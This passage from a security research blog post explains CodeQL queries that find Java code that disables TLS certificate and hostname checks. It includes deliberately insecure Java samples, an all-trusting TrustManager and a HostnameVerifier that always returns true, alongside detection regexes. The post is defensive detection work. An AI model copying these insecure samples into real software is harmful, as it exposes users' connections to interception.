<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">SSLContext</span> <span class="n">sslContext</span> <span class="o">=</span> <span class="nc">SSLContext</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"TLS"</span><span class="o">);</span>
<span class="n">sslContext</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="kc">null</span><span class="o">,</span> 
<span class="k">new</span> <span class="nc">TrustManager</span><span class="o">[]</span> <span class="o">{</span> <span class="c1">// #14</span>
  <span class="k">new</span> <span class="nf">InsecureTrustManager</span><span class="o">()</span> <span class="c1">// #13 #14</span>
<span class="o">}</span> <span class="c1">// #14</span>
<span class="o">,</span> <span class="kc">null</span><span class="o">);</span>
</code></pre></div></div>
<p>We want to find flow from <code class="language-plaintext highlighter-rouge">#13</code> to the second (<code class="language-plaintext highlighter-rouge">1</code> in the definition of <code class="language-plaintext highlighter-rouge">InsecureTrustManagerSink</code>, because CodeQL is zero-based) argument of <code class="language-plaintext highlighter-rouge">init</code>.
However, <code class="language-plaintext highlighter-rouge">#13</code> is an array <strong>element</strong> and cannot flow to the <strong>array</strong> itself (<code class="language-plaintext highlighter-rouge">#14</code>) (CodeQL distinguishes between the array elements and the array itself). To fix this, we can allow implicit reads of array elements by overriding the <code class="language-plaintext highlighter-rouge">allowImplicitRead</code> predicate.</p>
<pre><code class="language-ql">predicate allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c) {
  (isSink(node) or isAdditionalFlowStep(node, _)) and
  node.getType() instanceof Array and
  c instanceof DataFlow::ArrayContent
}
</code></pre>
<p>This predicate allows <strong>implicit read</strong>s of array elements when the array is used as a sink or when it is used as an additional flow step.
By enabling <strong>implicit read</strong>s, CodeQL will not distinguish between data stored inside something (in a field, in an array as an element, in a map as a key or value, …) and the thing itself (the object the field belongs to, the array where the element is in, the map where the key/value is from, …) <sup id="fnref:7" role="doc-noteref"><a href="#fn:7" class="footnote" rel="footnote">7</a></sup>.</p>

<h2 id="finding-disabled-hostname-verification">Finding Disabled Hostname Verification</h2>
<p>So what is disabled hostname verification?
Hostname verification is disabled if we have a <code class="language-plaintext highlighter-rouge">HostnameVerifier</code> that always returns <code class="language-plaintext highlighter-rouge">true</code> in its <code class="language-plaintext highlighter-rouge">verify</code> method.
Always returning <code class="language-plaintext highlighter-rouge">true</code> means that we will accept any hostname, regardless of whether it matches the hostname in the certificate or not!
In code this would look like this:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">HostnameVerifier</span> <span class="n">verifier</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HostnameVerifier</span><span class="o">()</span> <span class="o">{</span>
	<span class="nd">@Override</span>
	<span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">verify</span><span class="o">(</span><span class="nc">String</span> <span class="n">hostname</span><span class="o">,</span> <span class="nc">SSLSession</span> <span class="n">session</span><span class="o">)</span> <span class="o">{</span>
		<span class="k">return</span> <span class="kc">true</span><span class="o">;</span> <span class="c1">// BAD: accept even if the hostname doesn't match</span>
	<span class="o">}</span>
<span class="o">};</span>
</code></pre></div></div>
<p>If we then use this <code class="language-plaintext highlighter-rouge">HostnameVerifier</code> like so in our application:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">HttpsURLConnection</span> <span class="n">connection</span> <span class="o">=</span> <span class="o">(</span><span class="nc">HttpsURLConnection</span><span class="o">)</span> <span class="k">new</span> <span class="no">URL</span><span class="o">(</span><span class="s">"https://wrong.host.badssl.com/"</span><span class="o">).</span><span class="na">openConnection</span><span class="o">();</span>
<span class="n">connection</span><span class="o">.</span><span class="na">setHostnameVerifier</span><span class="o">(</span><span class="n">verifier</span><span class="o">);</span>
<span class="n">connection</span><span class="o">.</span><span class="na">connect</span><span class="o">();</span>
</code></pre></div></div>
<p>We will happily connect to the server even though the certificate is not valid for the <code class="language-plaintext highlighter-rouge">wrong.host.badssl.com</code> domain <sup id="fnref:8" role="doc-noteref"><a href="#fn:8" class="footnote" rel="footnote">8</a></sup>.</p>

<h3 id="the-query--high-level-1">The Query – High-Level</h3>
<p>Again, when writing a query it’s very helpful to verbalize the query:</p>

<p>We want to find all cases where an all-accepting <code class="language-plaintext highlighter-rouge">HostnameVerifier</code> is used in a <code class="language-plaintext highlighter-rouge">HttpsURLConnection#set(Default)HostnameVerifier</code> call.
This means that we again have a data flow query and we “just” have to define the source and the sink!</p>

<p>We can directly translate this into a CodeQL <code class="language-plaintext highlighter-rouge">from</code> clause:<br />
<code class="language-plaintext highlighter-rouge">from
  TrustAllHostnameVerifierFlow::PathNode source, TrustAllHostnameVerifierFlow::PathNode sink</code><br />
<code class="language-plaintext highlighter-rouge">source</code>s are all <code class="language-plaintext highlighter-rouge">HostnameVerifier</code> instances that are all-accepting and <code class="language-plaintext highlighter-rouge">sink</code>s are all <code class="language-plaintext highlighter-rouge">HttpsURLConnection#set(Default)HostnameVerifier</code> calls!</p>

<p>Our <code class="language-plaintext highlighter-rouge">where</code> clause then only has to ensure that the source is actually used at the sink, that is, we need <code class="language-plaintext highlighter-rouge">flowPath</code> to hold:<br />
<code class="language-plaintext highlighter-rouge">where TrustAllHostnameVerifierFlow::flowPath(source, sink)</code></p>

<p>The <code class="language-plaintext highlighter-rouge">select</code> clause then adds a message at the location of the <code class="language-plaintext highlighter-rouge">HttpsURLConnection#set(Default)HostnameVerifier</code> method and also references where the all-accepting hostname verifier has been defined:<br />
<code class="language-plaintext highlighter-rouge">select sink, source, sink,
  "The $@ defined by $@ always accepts any certificate, even if the hostname does not match.",
  source, "hostname verifier", source.getNode().asExpr().(ClassInstanceExpr).getConstructedType() as verifier, "this type"</code></p>

<p>The rest of the query contains a little bit of boilerplate to make the query better structured and reusable.</p>

<p>(The main query can be found <a href="https://github.com/github/codeql/blob/257fe1ad6b5e8e596ece2306213dcfc340420e2c/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql">here</a>, support files are in<a href="https://github.com/github/codeql/blob/257fe1ad6b5e8e596ece2306213dcfc340420e2c/java/ql/lib/semmle/code/java/security/UnsafeHostnameVerificationQuery.qll">UnsafeHostnameVerificationQuery.qll</a>).</p>

<h3 id="the-query--low-level-1">The Query – Low-Level</h3>
<p>(Some parts of the query are shown simplified)</p>

<p>The <code class="language-plaintext highlighter-rouge">TrustAllHostnameVerifier</code> class models all <code class="language-plaintext highlighter-rouge">HostnameVerifier</code> instances that accept any hostname by checking whether the instance derives from <code class="language-plaintext highlighter-rouge">HostnameVerifier</code> (<code class="language-plaintext highlighter-rouge">#1</code>) and if it overrides the verify method (<code class="language-plaintext highlighter-rouge">#2</code>) to always return <code class="language-plaintext highlighter-rouge">true</code> (<code class="language-plaintext highlighter-rouge">#3</code>).</p>
<pre><code class="language-ql">class TrustAllHostnameVerifier extends RefType {
  TrustAllHostnameVerifier() {
    this.getAnAncestor() instanceof HostnameVerifier and // #1
    exists(HostnameVerifierVerify m |
      m.getDeclaringType() = this and // #2
      alwaysReturnsTrue(m) // #3
    )
  }
}
</code></pre>

<p>When does a method always return <code class="language-plaintext highlighter-rouge">true</code>?
When <strong>all</strong> return statements return <code class="language-plaintext highlighter-rouge">true</code> (<code class="language-plaintext highlighter-rouge">#4</code>). Note that this is a simplification, there could be methods that always return <code class="language-plaintext highlighter-rouge">true</code> in practice/at runtime, but we cannot determine this statically.</p>
<pre><code class="language-ql">private predicate alwaysReturnsTrue(HostnameVerifierVerify m) {
  forex(ReturnStmt rs | rs.getEnclosingCallable() = m |
    rs.getResult().(CompileTimeConstantExpr).getBooleanValue() = true // #4
  )
}
</code></pre>

<p>The <code class="language-plaintext highlighter-rouge">HostnameVerifierSink</code> class models all cases where any <code class="language-plaintext highlighter-rouge">HostnameVerifier</code> is used in e.g. a <code class="language-plaintext highlighter-rouge">HttpsURLConnection#setHostnameVerifier</code> call.</p>
<pre><code class="language-ql">private class HostnameVerifierSink extends DataFlow::Node {
  HostnameVerifierSink() { sinkNode(this, "hostname-verification") }
}
</code></pre>

<p>It does this by using the special <a href="https://github.com/github/codeql/blob/257fe1ad6b5e8e596ece2306213dcfc340420e2c/java/ql/lib/semmle/code/java/dataflow/ExternalFlow.qll#L489">sinkNode</a> predicate that gets all nodes that are annotated with <code class="language-plaintext highlighter-rouge">hostname-verification</code> in a “Models-as-Data” (MaD) file.</p>

<p>The MaD files can be found in <code class="language-plaintext highlighter-rouge">.yml</code> files in the <a href="https://github.com/github/codeql/tree/257fe1ad6b5e8e596ece2306213dcfc340420e2c/java/ql/lib/ext">java/ql/lib/ext</a> folder.
In our case, there are three definitions:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="pi">[</span><span class="s2">"</span><span class="s">javax.net.ssl"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">HttpsURLConnection"</span><span class="pi">,</span> <span class="nv">True</span><span class="pi">,</span> <span class="s2">"</span><span class="s">setDefaultHostnameVerifier"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">Argument[0]"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">hostname-verification"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">manual"</span><span class="pi">]</span>
<span class="pi">-</span> <span class="pi">[</span><span class="s2">"</span><span class="s">javax.net.ssl"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">HttpsURLConnection"</span><span class="pi">,</span> <span class="nv">True</span><span class="pi">,</span> <span class="s2">"</span><span class="s">setHostnameVerifier"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">Argument[0]"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">hostname-verification"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">manual"</span><span class="pi">]</span>
<span class="c1"># from https://github.com/github/codeql/blob/257fe1ad6b5e8e596ece2306213dcfc340420e2c/java/ql/lib/ext/javax.net.ssl.model.yml#L6-L7</span>
<span class="pi">-</span> <span class="pi">[</span><span class="s2">"</span><span class="s">org.apache.cxf.configuration.jsse"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">TLSClientParameters"</span><span class="pi">,</span> <span class="nv">True</span><span class="pi">,</span> <span class="s2">"</span><span class="s">setHostnameVerifier"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">(HostnameVerifier)"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">Argument[0]"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">hostname-verification"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">manual"</span>
<span class="c1"># from https://github.com/github/codeql/blob/257fe1ad6b5e8e596ece2306213dcfc340420e2c/java/ql/lib/ext/org.apache.cxf.configuration.jsse.model.yml#L7</span>
</code></pre></div></div>

<p>The first element is the package name (<code class="language-plaintext highlighter-rouge">"javax.net.ssl"</code>), the second element is the class name (<code class="language-plaintext highlighter-rouge">"HttpsURLConnection"</code>).
The third element is a boolean that indicates whether to jump to an arbitrary subtype of that type (<code class="language-plaintext highlighter-rouge">True</code>), the fourth element is the method name (<code class="language-plaintext highlighter-rouge">"setDefaultHostnameVerifier"</code>) although generally this just selects a specific member (method, field, …) of the type.
The fifth element allows restriction based on the member signature (<code class="language-plaintext highlighter-rouge">""</code> so no filtering is done), the sixth element is not relevant in our case.
The seventh element defines how data enters the sink (<code class="language-plaintext highlighter-rouge">"Argument[0]"</code> in our case), the eighth element is the annotation that is used to annotate the sink (<code class="language-plaintext highlighter-rouge">"hostname-verification"</code>).
The ninth element is the origin of the model (in this case <code class="language-plaintext highlighter-rouge">manual</code> because the model has been added manually and not generated by e.g. the model generator). For more information about MaD files have a look at this <a href="https://github.com/github/codeql/blob/257fe1ad6b5e8e596ece2306213dcfc340420e2c/java/ql/lib/semmle/code/java/dataflow/ExternalFlow.qll#L1-L88">internal documentation</a>.</p>

<p>The <code class="language-plaintext highlighter-rouge">TrustAllHostnameVerifierConfig</code> module then simply combines the source (<code class="language-plaintext highlighter-rouge">#5</code>) and the sink (<code class="language-plaintext highlighter-rouge">#6</code>) like this:</p>
<pre><code class="language-ql">module TrustAllHostnameVerifierConfig implements DataFlow::ConfigSig {
  predicate isSource(DataFlow::Node source) {
    source.asExpr().(ClassInstanceExpr).getConstructedType() instanceof TrustAllHostnameVerifier // #5
  }

  predicate isSink(DataFlow::Node sink) { sink instanceof HostnameVerifierSink } // #6
}
</code></pre>

<p>Because we want to reduce false-positives, we add an <code class="language-plaintext highlighter-rouge">isBarrier</code> predicate to the query.
This predicate ignores all nodes that are in functions that <em>suggest</em> that they intentionally disable hostname verification.</p>

<pre><code class="language-ql">predicate isBarrier(DataFlow::Node barrier) {
  // ignore nodes that are in functions that intentionally disable hostname verification
  barrier
      .getEnclosingCallable()
      .getName()
      /*
       * Regex: (_)* :
       * some methods have underscores.
       * Regex: (no|ignore|disable)(strictssl|ssl|verify|verification|hostname)
       * noStrictSSL ignoreSsl
       * Regex: (set)?(accept|trust|ignore|allow)(all|every|any)
       * acceptAll trustAll ignoreAll setTrustAnyHttps
       * Regex: (use|do|enable)insecure
       * useInsecureSSL
       * Regex: (set|do|use)?no.*(check|validation|verify|verification)
       * setNoCertificateCheck
       * Regex: disable
       * disableChecks
       */
       
      .regexpMatch("^(?i)(_)*((no|ignore|disable)(strictssl|ssl|verify|verification|hostname)" +
          "|(set)?(accept|trust|ignore|allow)(all|every|any)" +
          "|(use|do|enable)insecure|(set|do|use)?no.*(check|validation|verify|verification)|disable).*$")
}
</code></pre>

<h4 id="general-guards">General Guards</h4>
<p>To further reduce false-positives, we also extend the <code class="language-plaintext highlighter-rouge">where</code> clause with <code class="language-plaintext highlighter-rouge">and not isNodeGuardedByFlag(sink.getNode())</code> to remove all sinks that are guarded by a flag indicating intentional disabling of hostname verification.</p>

<pre><code class="language-ql">predicate isNodeGuardedByFlag(DataFlow::Node node) {
  exists(Guard g | g.controls(node.asExpr().getBasicBlock(), _) | // #7
    g = getASecurityFeatureFlagGuard() or g = getAnUnsafeHostnameVerifierFlagGuard() // #8
  )
}
</code></pre>
<p>A <code class="language-plaintext highlighter-rouge">node</code> is guarded when there is a <code class="language-plaintext highlighter-rouge">Guard</code> that controls (<code class="language-plaintext highlighter-rouge">#7</code>) <sup id="fnref:9" role="doc-noteref"><a href="#fn:9" class="footnote" rel="footnote">9</a></sup> the <code class="language-plaintext highlighter-rouge">node</code> and that is either a security feature flag guard or an unsafe hostname verifier flag guard (<code class="language-plaintext highlighter-rouge">#8</code>).<br />
A <code class="language-plaintext highlighter-rouge">Guard</code> controls another node when the execution of the controlled node is dependent on the condition specified by the guard.</p>

<p>For example, consider the following code:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">(</span><span class="n">isHostnameVerificationDisabled</span><span class="o">())</span> <span class="o">{</span> <span class="c1">// #9</span>
  <span class="n">connection</span><span class="o">.</span><span class="na">setHostnameVerifier</span><span class="o">(</span><span class="k">new</span> <span class="nc">TrustAllHostnameVerifier</span><span class="o">());</span> <span class="c1">// #10</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Here, the <code class="language-plaintext highlighter-rouge">connection.setHostnameVerifier</code> (<code class="language-plaintext highlighter-rouge">#10</code>) call is guarded/controlled by the <code class="language-plaintext highlighter-rouge">isHostnameVerificationDisabled</code> (<code class="language-plaintext highlighter-rouge">#9</code>) method call.</p>

<h4 id="security-feature-flag-guards">Security Feature Flag Guards</h4>
<p>The <code class="language-plaintext highlighter-rouge">getASecurityFeatureFlagGuard</code> predicate gets some pre-defined guards indicating intentional disabling of a security feature while the <code class="language-plaintext highlighter-rouge">getAnUnsafeHostnameVerifierFlagGuard</code> predicate gets guards specific to hostname verification. For that reason, we extend the existing <code class="language-plaintext highlighter-rouge">FlagKind</code> class.
All we have to do is to override the <code class="language-plaintext highlighter-rouge">getAFlagName</code> predicate to get all strings that should be considered a flag.</p>
<pre><code class="language-ql">private class UnsafeHostnameVerificationFlag extends FlagKind {
  UnsafeHostnameVerificationFlag() { this = "UnsafeHostnameVerificationFlag" }

  bindingset[result]
  override string getAFlagName() {
    result
        .regexpMatch("(?i).*(secure|disable|selfCert|selfSign|validat|verif|trust|ignore|nocertificatecheck).*") and
    result != "equalsIgnoreCase"
  }
}
</code></pre>

<p>By extending the <code class="language-plaintext highlighter-rouge">FlagKind</code> class, we get all the functionality of the <code class="language-plaintext highlighter-rouge">FlagKind</code> class for free! Namely, we get the <code class="language-plaintext highlighter-rouge">getAFlag</code> predicate that gets all flags that are used to guard a node.</p>
<pre><code class="language-ql">private Guard getAnUnsafeHostnameVerifierFlagGuard() {
  result = any(UnsafeHostnameVerificationFlag flag).getAFlag().asExpr()
}
</code></pre>

<p>This completes the implementation of <code class="language-plaintext highlighter-rouge">isNodeGuardedByFlag</code> and allows us to heavily reduce false-positives!</p>

<h2 id="conclusion">Conclusion</h2>
<p>In this post I showed how to find multiple CVEs in the usage of the Java <code class="language-plaintext highlighter-rouge">TrustManager</code> and <code class="language-plaintext highlighter-rouge">HostnameVerifier</code> classes using CodeQL.</p>

<p>I did this by using a data flow query that finds all cases where an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> or an all-accepting <code class="language-plaintext highlighter-rouge">HostnameVerifier</code> is used.</p>

<p>Many – if not most – problems can be viewed as data flow/taint tracking problems and CodeQL is a great tool to solve these problems!</p>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>These CAs <strong>can</strong> and <strong>will</strong> be removed when there are problems with them, see e.g. <a href="https://groups.google.com/a/mozilla.org/g/dev-security-policy/c/oxX69KFvsm4/m/PKpJf5W6AQAJ">https://groups.google.com/a/mozilla.org/g/dev-security-policy/c/oxX69KFvsm4</a>, <a href="https://wiki.mozilla.org/CA/Symantec_Issues">https://wiki.mozilla.org/CA/Symantec_Issues</a>, or <a href="https://www.techtarget.com/searchsecurity/news/252527914/Mozilla-Microsoft-drop-Trustcor-as-root-certificate-authority">https://www.techtarget.com/searchsecurity/news/252527914/Mozilla-Microsoft-drop-Trustcor-as-root-certificate-authority</a>. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0765">CVE-2004-0765</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2408">CVE-2009-2408</a> <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4763">CVE-2016-4763</a> <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5" role="doc-endnote">
      <p>There are multiple “levels” in CodeQL. The <em>data flow level</em> is the highest level and is partially shared across <strong>all</strong> languages supported by CodeQL while the <em>abstract syntax tree level</em> is specific to each language and is the lowest level. <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:6" role="doc-endnote">
      <p>A <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ClassInstanceExpr.html">ClassInstanceExpr</a> is for example <code class="language-plaintext highlighter-rouge">new FooBar()</code> and <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/predicate.Expr$ConstructorCall$getConstructedType.0.html">getConstructedType</a> gets the type of the constructed object, in this case <code class="language-plaintext highlighter-rouge">FooBar</code>. <a href="#fnref:6" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:7" role="doc-endnote">
      <p>For more information about implicit reads see <a href="https://github.com/github/codeql/discussions/14092#discussioncomment-6926222">this discussion</a>. <a href="#fnref:7" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:8" role="doc-endnote">
      <p>The certificate is only valid for <code class="language-plaintext highlighter-rouge">*.badssl.com</code> and <code class="language-plaintext highlighter-rouge">badssl.com</code>. Wildcard certificates – like <code class="language-plaintext highlighter-rouge">*.badssl.com</code> – only apply to one level of subdomains, so <code class="language-plaintext highlighter-rouge">wrong.host.badssl.com</code> is not covered by the certificate, but <code class="language-plaintext highlighter-rouge">host.badssl.com</code> or <code class="language-plaintext highlighter-rouge">foobar.badssl.com</code> would be. <a href="#fnref:8" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:9" role="doc-endnote">
      <p>Technically, the <code class="language-plaintext highlighter-rouge">Guard</code> verifies that it controls the <a href="https://en.wikipedia.org/wiki/Basic_block">basic block</a> that contains the <code class="language-plaintext highlighter-rouge">node</code>. <a href="#fnref:9" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>intrigus</name></author><category term="research" /><summary type="html"><![CDATA[Certificates are a cornerstone of what makes Internet communication secure. In this post, I'm going to show how to find multiple CVEs in usage of the Java `TrustManager` and `HostnameVerifier` classes.]]></summary></entry></feed>